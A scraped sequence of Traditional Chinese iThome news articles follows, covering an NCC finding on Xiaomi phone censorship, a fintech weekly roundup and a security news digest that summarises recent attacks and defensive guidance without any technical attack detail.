<p>NCC表示，該款手機並未提供消費者關閉此一功能的選項，雖然目前詞彙過濾檔案也已被清空，但製造商仍能隨時由遠端更新檢查或過濾功能，恐有曝露使用者隱私的風險，加之中國政府法規規定有配合國家情報的義務，敏感詞彙的檢查或過濾功能恐造成使用者個資、隱私曝露的隱憂，因此公布檢測結果，提醒民眾使用手機的風險。</p> <p>而在立陶宛發布中國手機調查報告後，NCC曾向臺灣小米關切此事，得到的回應是，臺灣販售的10T 5G手機與歐洲銷售的國際版不同，臺灣版的手機不會審查用戶通訊內容，或是限制用戶搜尋、打電話、瀏覽等手機行為，臺灣小米公司否認審查用戶通訊內容的行為。經此次檢查，NCC表示，未來將會持續檢測臺灣小米是否損害消費者權益，若有損害消費者權益時，報請相關主管機關依法處理。</p> <p>NCC也提醒，手機製造商或App業者基於對時調校、版本更新確認、大數據分析等，並遍有回傳資料的情形，但依個資法規定，裝置應提供使用者停用資料蒐集回傳功能，至於下載使用App時，也可注意是否提供關閉資料蒐集的功能。</p> <p>事實上，這並非小米手機首次有安全風險，<a href="https://www.ithome.com.tw/news/89991" target="_blank">iThome委託資安專家檢測小米手機</a>，不論是全新手機或使用中的手機，曾發現未經用戶同意下，擅自傳送資料回到中國的情形。而在2020年，<a href="https://www.ithome.com.tw/news/137364" target="_blank">安全研究人員檢測小米手機後發現</a>，追蹤蒐集用戶瀏覽行為，即使用戶開啟無痕模式，仍會追蹤用戶行為，並回傳資料至第三地。</p> </div></div></div>
2022/1/6 19:54作者蘇文彬https://www.ithome.com.tw/news/148747
Fintech周報第206期：SWIFT聯手區塊鏈金融平臺SETL與多家市場參與者，今年Q1將展開資產代幣化試點
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <h3 style="vertical-align: top; margin: 10px 0px; font-family: 微軟正黑體, sans-serif; font-weight: bold; line-height: 1.25em; color: inherit; text-rendering: optimizelegibility; font-size: 24.5px; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; color: inherit; font-size: 18px;"><strong style="vertical-align: top;"><span style="vertical-align: top; color: rgb(0, 0, 205);">0101～0107</span></strong></span></h3> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 區塊鏈 </span> </strong></span><span style="vertical-align: top; color: rgb(255, 255, 255);"><strong style="vertical-align: top;"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 數位資產 </span></strong></span><span style="vertical-align: top;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"> </strong></span><span style="vertical-align: top; color: rgb(255, 255, 255);"><strong style="vertical-align: top;"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 代幣化 </span></strong></span><span style="vertical-align: top;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"> </strong></span><br /><strong style="vertical-align: top; font-size: 14pt;"><span style="vertical-align: top; font-size: 22px;">SWIFT聯手區塊鏈金融平臺SETL與多家市場參與者，今年Q1將展開資產代幣化試點</span></strong><br /><span style="vertical-align: top;">環球金融電信協會（SWIFT）近期宣布，將與國際保管結算機構Clearstream、北方信託銀行（Northern Trust）、英國區塊鏈服務提供商SETL等市場參與者合作，展開一項創新試點，探索如何支持代幣化資產市場發展的互操作性。</span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top;">SWIFT表示，相較於加密貨幣與穩定幣，目前代幣化資產的市值很小，但，未來幾年將加速成長，預計到2027年交易量可達到24兆美元。SWIFT提到，代幣化技術能應用在股票與債券，以及商品、藝術品等非流動性資產。為了支持代幣化資產市場的增長，SWIFT計畫在2022年第一季進行一系列的實驗。 </span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top;">SWIFT創新長Thomas Zschach表示，SWIFT作為一個中立的合作機構，提供的服務涵蓋全球200多個國家或地區11,000家機構，同時，受到全球中央銀行的監督。因此，將利用中立平臺的角色，來研究代幣化資產從發行、交付與支付到贖回的流程。Thomas Zschach提到，該實驗也將使用既定的支付形式與央行數位貨幣（CBDC）來進行。</span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top;">不過，SWIFT的目的並不是成為加密貨幣託管人，也不會作為結算代幣化資產的平臺，而是要作為中介平臺，讓傳統資產與代幣化資產能互相流通。</span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top;">在今年的實驗中，SWIFT規畫，由Clearstream與Northern Trust與其他市場參與者，扮演串連起代幣化和傳統資產生態系統的關鍵角色，比如提供證券市場基礎設施、作為本地託管人與全球託管人。</span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top;">SETL和Northern Trust則將支持SWIFT和參與者，在各種分散式帳本技術（Distributed Ledger Technology，DLT）環境間進行整合，包括Corda、Hyperledger Besu、Hyperledger Fabric、Daml，以及SETL自家的分散式帳本技術等，並使用各自的功能進行交易管理。 </span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 萬事達卡 </span> </strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px; color: rgb(255, 255, 255);"><strong style="vertical-align: top;"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 個人化服務 </span></strong></span><br /><strong style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 14pt;"><span style="vertical-align: top; font-size: 22px;">萬事達卡收購麥當勞個人化平臺Dynamic Yield，將用於提供更多個人化服務給客戶與合作夥伴</span></strong><br /><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">萬事達卡公司（Mastercard）與麥當勞（McDonald's）近期共同宣布，麥當勞已同意將於2019年收購的個人化平臺Dynamic Yield出售給萬事達卡公司，預計於明年上半年完成交易。雖然雙方並未公布財務細節，但外傳此一交易的規模超過3億美元。 </span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">Dynamic Yield為一個人化的消費者經驗平臺，透過機器學習技術並根據消費者的購買紀錄、瀏覽記錄或其它特性，來提供個人化的推薦服務，全球有超過400個品牌為該平臺的客戶，包括零售、金融、旅遊及餐館等。萬事達卡公司表示，未來將利用Dynamic Yield技術提供更多的個人化服務予客戶及合作夥伴，不管是在消費者的購物上，或是協助企業發展業務，建立一個統一的消費者互動及忠誠度中心將進一步擴展萬事達卡網路的價值。<a href="https://www.ithome.com.tw/news/148521">（詳全文）</a></span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> Nationwide </span> </strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px; color: rgb(255, 255, 255);"><strong style="vertical-align: top;"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 上雲 </span></strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"> </strong></span><br /><strong style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 14pt;"><span style="vertical-align: top; font-size: 22px;">英國最大房屋抵押貸款協會Nationwide將自家網站搬上公有雲</span></strong></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><strong style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 14pt;"><span style="vertical-align: top; font-size: 22px;"><img alt="" src="https://s4.itho.me/sites/default/files/images/%EF%BC%A0%E5%9C%962_%20Nationwide_%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90_%20Nationwide.png" /></span></strong></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">擁有1,600萬會員數的全英房屋抵押貸款協會（Nationwide Building Society），也是英國最大的</span><span style="font-family: 微軟正黑體, sans-serif; font-size: 18.6667px; background-color: rgb(247, 247, 247);">房屋抵押貸款協會，</span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">近期已將自家會員網站搬上Microsoft Azure。此舉是由這家英國大型互助金融機構的雲端團隊，與委外顧問廠商共同設計、建置與發布，為的是讓網站更具可靠性與穩定性，來因應會員在尖峰時段的使用需求。</span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">為了確保順利遷移到Azure上，Nationwide的內部工程師、架構師、交付團隊，使用混沌工程（Chaos Engineering）的原則執行了一系列測試場景，以確保網站在公有雲平臺上有效且可靠地執行。成功將首個應用搬上公有雲後，下一步，Nationwide計畫將更多工作負載轉移到Azure。 </span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 玉山銀行 </span> </strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px; color: rgb(255, 255, 255);"><strong style="vertical-align: top;"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 新核心系統 </span></strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"> </strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px; color: rgb(255, 255, 255);"><strong style="vertical-align: top;"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 微服務架構 </span></strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"> </strong></span><br /><strong style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 14pt;"><span style="vertical-align: top; font-size: 22px;">玉山銀行重新整編架構師團隊讓職責更分明，藉此找出能滿足新核心系統的架構</span></strong><br /><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">玉山銀行以雲端原生技術、微服務架構，自行打造的新核心系統，創下國內金融業自建銀行核心的首例。玉山銀行副資訊長劉帥君在一場活動揭露，建置新一代核心系統架構前，玉山內部重新整編了架構師團隊，將企業架構師、部門架構師、技術架構師等成員獨立組成一個團隊，讓架構師的職責更為清楚，來思考相關解決方案，經過論辯、論證後，才找出真正能滿足未來核心系統的架構。</span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">完成架構師團隊整編，也制定出相關原則與準則後，玉山開始發展新一版的資訊藍圖，以顧客為中心的思考模式，訂出從通路、顧客管理、產品管理、財務會計、風險管理到管理資訊的業務發展模型。接著，玉山團隊開始發想IT架構藍圖，先從顧客觀點與企業觀點2面向來設計。從顧客觀點設計的部分，包括通路平臺層、跨通路整合層。從企業觀點設計的部分，則分為產品與交易層、應用整合層與分析應用層。 </span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">建構出完整的資訊藍圖，玉山選擇嘗試導入微服務的設計架構。甚至，內部訂出一套微服務設計訓練3大準則，包含高內聚力的設計、鬆散耦合與單一功能，來讓團隊遵循。此外，在導入容器技術上，玉山的要求是必須做到標準化、一致性管理，並能到處部署。採用微服務架構與容器技術打造核心系統的策略底定後，團隊就開始往前衝，一路開發新核心系統直到上線。<a href="https://www.ithome.com.tw/news/148584">（詳全文）</a></span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 區塊鏈 </span> </strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px; color: rgb(255, 255, 255);"><strong style="vertical-align: top;"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 摩根大通 </span></strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"> </strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px; color: rgb(255, 255, 255);"><strong style="vertical-align: top;"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 西門子 </span></strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"> </strong></span><br /><strong style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 14pt;"><span style="vertical-align: top; font-size: 22px;">西門子採用摩根大通區塊鏈技術開發支付系統，用於管理自家帳戶間大量支付</span></strong></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><strong style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 14pt;"><span style="vertical-align: top; font-size: 22px;"><img alt="" src="https://s4.itho.me/sites/default/files/images/%EF%BC%A0%E5%9C%963_Siemens_%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90_Siemens.jpg" /></span></strong></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">根據英國《金融時報》（Financial Times）報導，摩根大通（JPMorgan Chase）近期正與西門子（Siemens）合作開發基於區塊鏈技術的支付系統，該系統將用於管理西門子自家帳戶間的支付，不過，目前僅限於美元間的支付，規畫今年將增加歐元間的支付。</span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">該區塊鏈支付系統是由摩根大通的Onyx區塊鏈部門所開發。西門子表示，採用區塊鏈支付系統的原因是，他們需要更好的自動化方式來處理大量支付需求，特別是西門子採取了新商業模式如按次使用付費的模式。 </span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 證券期貨業 </span> </strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px; color: rgb(255, 255, 255);"><strong style="vertical-align: top;"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> SF-CERT </span></strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"> </strong></span><br /><strong style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 14pt;"><span style="vertical-align: top; font-size: 22px;">臺灣證券期貨業正式成立SF-CERT，將從3面向著手協助業者應變資安事件</span></strong><br /><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">金管會轄下證券期貨相關機構在2021年11月底成立證券暨期貨市場電腦緊急應變支援小組（SF-CERT），並已開始辦理資安演練及訓練。從目前SF-CERT規畫服務內容來看，主要聚焦事前、事中的面向，協助提升業者資安體質，這是長期性的工作，事後也將檢討改善。</span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">在事前的部分，將提供資安事件應變處理參考指引，來告訴業者如何應變常見類型的事件。另外，也將提供日誌留存參考指引，讓業者可以有相關依循建議。同時，SF-CERT還將規畫資安演練與事件應變訓練，例如，針對全體證券期貨業者進行資安通報的演練，需在30分鐘內要有初步通報，而每年也將針對10多家業者，進行資安事件應變桌面演練，以及DDoS防護演練。另外，也會舉辦事件應變的教育訓練。</span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">在事中的面向，國內已建立證券期貨市場資通安全通報系統，而SF-CERT也將提供事中應變方面的支援，一旦資安事件發生，將提供協助與顧問諮詢，協助加速現場事件應變與鑑識調查，並分享產業攻擊資訊，研擬產業對應策略、協調外部資源，以及擔任事件回應管道。至於事後方面，SF-CERT也將針對上述參考指引進型檢討修訂，並納入演練及教育訓練素材。<a href="https://www.ithome.com.tw/news/148555">（詳全文）</a></span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 金管會 </span> </strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px; color: rgb(255, 255, 255);"><strong style="vertical-align: top;"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 上市櫃大型企業 </span></strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"> </strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px; color: rgb(255, 255, 255);"><strong style="vertical-align: top;"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 資安長 </span></strong></span><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;"><strong style="vertical-align: top; color: rgb(255, 255, 255);"> </strong></span><br /><strong style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 14pt;"><span style="vertical-align: top; font-size: 22px;">金管會要求臺灣上市櫃大型企業需設置資安長與資安專責單位，多個產業龍頭均受規範</span></strong><br /><span style="vertical-align: top; font-family: 微軟正黑體, sans-serif; font-size: 18.6667px;">去年12月底，金管會正式發布施行新版「公開發行公司建立內部控制制度處理準則」，當中規範國內資本額破100億、前50大市值的上市櫃公司，同時，將電子商務與人力銀行產業納入，都需設置資安長。換言之，光是國內資本額破百億的上市櫃公司就有100多間，加上其他條件不重複的公司，大致將有100多家符合金管會訂定第一級的標準，需要在2022年以前，完成資安長與資安專責單位的設置。在這樣的要求之下，意味著國內不論食品、電機、海運等傳產大廠，以及半導體、光電等電子龍頭業者，在今年底前需及早做好設置資安長的準備。<a href="https://www.ithome.com.tw/news/148662">（詳全文）</a></span></p> <p style="vertical-align: top; margin: 0px 0px 1.5em; font-size: 14pt; line-height: 2em; font-family: 微軟正黑體, sans-serif; background-color: rgb(247, 247, 247);"><span style="font-size: 14pt; vertical-align: top;">圖片來源／</span><span style="font-family: 微軟正黑體, sans-serif; font-size: 18.6667px; background-color: rgb(247, 247, 247);">Nationwide Building Society</span><span style="font-size: 14pt; vertical-align: top;">、</span><span style="font-family: 微軟正黑體, sans-serif; font-size: 18.6667px; background-color: rgb(247, 247, 247);">Siemens</span><br /><span style="font-size: 18.6667px;">責任編輯／李靜宜</span><br /><strong style="vertical-align: top; font-size: 18.6667px; color: rgb(255, 255, 255);"><span style="vertical-align: top; background-color: rgb(51, 153, 255);"> 金融科技近期新聞 </span></strong><br /><strong style="font-size: 14pt; vertical-align: top;">1</strong><strong style="vertical-align: top; font-size: 18.6667px;">. </strong><a href="https://www.ithome.com.tw/news/148697"><strong>三星宣布3款支援NFT Platform應用程式的電視，讓使用者能瀏覽、購買或交易不可替代代幣（NFT）</strong></a><br /><strong style="font-size: 14pt; vertical-align: top;">資料來源：iThome整理，2022年1月</strong></p> </div></div></div>
2022/1/6 18:39作者李靜宜https://www.ithome.com.tw/news/148744
【資安日報】2022年1月6日，駭客針對17家公司進行撞庫攻擊，惡意軟體ZLoader透過網管軟體投放
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>在今天的資安新聞中，美國針對17家企業提出警告，已有110萬名客戶遭到撞庫（Credential Stuffing）攻擊而受害，這樣的情況相當值得留意，這些企業包含了網路零售業者、連鎖餐廳，以及食品配送服務業者等，而這些客戶的資料已流入地下論壇。由於在撞庫攻擊中，駭客會透過取得的帳密，嘗試存取多種網路服務帳號，若是使用者都設置相同的帳密，這些網路服務的帳號就有可能遭到駭客挾持。該政府單位也呼籲企業也要針對網站加強防護。</p> <p>而除了針對購物網站的撞庫攻擊，惡意軟體透過網管工具散布的現象，近期也有數起攻擊事件。而最近，有駭客組織使用了名為Atera的遠端監控與管理軟體（RMM），在受害電腦植入ZLoader，攻擊者使用IT管理軟體入侵受害電腦，主要原因是能夠取得高權限，以便後續攻擊階段可持續控制受害電腦。</p> <p>操作科技（OT）的設備安全，也開始逐漸受到重視。<a href="https://www.ithome.com.tw/news/148631">臺灣主導半導體產業的產線設備資安標準SEMI E187，近期正式上路</a>，美國也有由醫療機構所組成的醫療照護供應鏈協會（HSCA），近期特別針對醫療設備的資訊安全，發布新的指引，讓醫療機構能在添購設備或是服務的過程中，就選用從產品設計就將資安納入的產品。</p> <h3><strong>【攻擊與威脅】</strong></h3> <h4><a href="https://www.bleepingcomputer.com/news/security/ny-oag-hackers-stole-11-million-customer-accounts-from-17-companies/"><span style="color: rgb(0, 0, 0);"><strong>駭客針對17家公司進行撞庫攻擊，竊得110萬名客戶帳號</strong></span></a></h4> <p><a href="https://s4.itho.me/sites/default/files/images/Accounts compromised in credential stuffing shared online.png"><img alt="" src="https://s4.itho.me/sites/default/files/images/Accounts%20compromised%20in%20credential%20stuffing%20shared%20online.png" style="width: 300px; float: right;" /></a>美國紐約州總檢察長辦公室（NY OAG）近日向17家公司提出警告，這些公司約有110萬客戶的帳號，在撞庫（Credential Stuffing）攻擊事件中遭駭。NY OAG經過數個月監看網路社群後，發現上述遭到外洩的用戶帳密，來自網路零售業者、連鎖餐廳，以及食品配送服務業者，他們通知相關業者，以便能夠讓消費者儘速重設密碼。NY OAG也呼籲企業應採取相關防禦措施，包含監控網站是否遭到Bot機器人攻擊、採用雙因素驗證（MFA）等。</p> <h4><strong><a href="https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/"><span style="color: rgb(0, 0, 0);">惡意軟體ZLoader帶有微軟簽章，並透過網管軟體遠端「部署」</span></a></strong></h4> <p>資安業者Check Point指出，駭客組織MalSmoke自2021年11月開始，使用名為<a href="https://www.ithome.com.tw/news/146775">ZLoader的金融木馬（亦稱Terdot、DELoader）</a>，從111個國家或地區，竊取數千名受害者的帳密資料。研究人員指出，駭客散布該金融木馬的管道，疑似是利用名為Atera的遠端監控與管理軟體（RMM）試用版本，來控制受害電腦，最終植入具有微軟簽章的ZLoader。</p> <h4><strong><a href="https://www.bleepingcomputer.com/news/security/elephant-beetle-spends-months-in-victim-networks-to-divert-transactions/"><span style="color: rgb(0, 0, 0);">駭客組織Elephant Beetle花費數個月，在拉丁美洲金融機構進行詐欺交易，竊得數百萬美元</span></a></strong></h4> <p>資安業者Sygnza發現名為Elephant Beetle（亦稱TG2003）的駭客組織，該組織使用超過80種工具，鎖定全球各地的組織，迄今已竊得數百萬美元。研究人員指出，這群駭客擅長針對Linux作業系統上的Java應用程式出手，且非常有耐心，會願意花費數個月偵察受害組織環境，並研究金融交易流程，最終才利用操作流程的缺陷發動攻擊。他們看到駭客運用Primetek Primefaces、IBM WebSphere Application Server、SAP NetWeaver Application Server等應用系統的漏洞，而能夠遠端執行任意程式碼。</p> <h4><a href="https://www.bleepingcomputer.com/news/security/ios-malware-can-fake-iphone-shut-downs-to-snoop-on-camera-microphone/"><span style="color: rgb(0, 0, 0);"><strong>iOS惡意軟體可讓裝置假裝關機，然後進行偷窺、竊聽</strong></span></a></h4> <p><a href="https://s4.itho.me/sites/default/files/images/hijack.jpg"><img alt="" src="https://s4.itho.me/sites/default/files/images/hijack.jpg" style="width: 300px; float: right;" /></a>在過往許多iOS的惡意軟體攻擊中，受害者往往可透過重新啟動裝置，就有機會阻止惡意軟體在記憶體內運作，但這樣的方式可能已經不管用。資安業者ZecOps公布名為NoReboot的攻擊手法，這種方式可讓受害者以為iPhone已經關機，但實際上惡意軟體藉由挾持關機命令，而使得受害手機實際上維持開機的狀態，惡意軟體仍能繼續執行，並從麥克風與鏡頭，進行竊聽甚至是偷窺的行為。研究人員指出，由於這並非iOS作業系統的缺陷，蘋果很可能不會進行修補。</p> <h4><strong><a href="https://www.theverge.com/2021/12/31/22861188/missouri-governor-mike-parson-hack-website-source-code"><span style="color: rgb(0, 0, 0);">記者通報中小學教育網站曝露教職員個資，竟被指控入侵網站</span></a></strong></h4> <p>聖路易斯郵報（St. Louis Post-Dispatch）記者Josh Renaud，在10月中旬向密蘇里州政府通報，該州的中小學教育部網站DESE，網站的程式碼曝露了逾10萬名教職員的社會安全碼，並在相關單位處理完成後進行報導。但密蘇里州州長Mike Parson顯然不買帳，不只在10月13日指控該名記者是駭客，12月底還召開記者會，打算起訴這名記者，認為他入侵了DESE。</p> <p>基本上，網站的程式碼只需透過網頁瀏覽器就能檢視。美國聯邦調查局（FBI）指出，此起事件為DESE網站的配置錯誤，Josh Renaud的行為並非真正的入侵；而新聞網站The Verge認為，Mike Parson顯然不了解網站的運作方式。</p> <h4><a href="https://www.cw.com.tw/article/5119624"><strong>愛心協會服務商網軟遭駭事件有後續消息，警方指出資料庫均未加密，也沒有PCI DSS認證</strong></a></h4> <p>去年7月底到8月，國內爆發假冒多個愛心捐款協會的詐騙案，當時iThome首先追查到是背後的資訊服務商網軟遭駭，該公司在8月3日向客戶（愛心協會）表示遭駭，相隔一段時間後，他們也已發布資安公告，特別的是，最近這起事件有了後續消息，根據天下雜誌的報導，警方指出外洩的資料包括：捐款人姓名、住址、電子郵件、聯繫電話、捐款方案、財務狀況，且資料庫並未加密，甚至，該公司有接受紙本信用卡扣款授權書，並會登打到系統，但公司卻沒有遵循PCI DSS及認證，同時，公益團體使用該公司服務卻也不曾注意。目前，網軟已決定不儲存卡號與處理紙本刷卡授權書，但被駭範圍仍無法確定，已外洩的個資可能達6萬筆。</p> <p> </p> <h3><strong>【資安防禦措施】</strong></h3> <h4><strong><a href="https://www.scmagazine.com/analysis/iot/new-guidance-tackles-role-of-manufacturers-in-medical-device-security-patient-safety"><span style="color: rgb(0, 0, 0);">美醫療設備採購組織發布供應商的資安評估指南</span></a></strong></h4> <p>由美國14個醫療設備採購組織所成立的醫療照護供應鏈協會（HSCA），近期提供相關設備的業者或服務商，發布新的網路安全指引，提及透過MITRE建立醫療設備的威脅模型劇本，以及這類設備的生命安全週期的管理等。他們提及醫療機構與設備製造商簽訂合約時，所需要留意的細節，而且最好要有資安團隊參與採購流程，以確保所有接到醫療機構網路上的設備，從設計之初就將資安納入考量。</p> <p> </p> <p>【近期資安日報】</p> 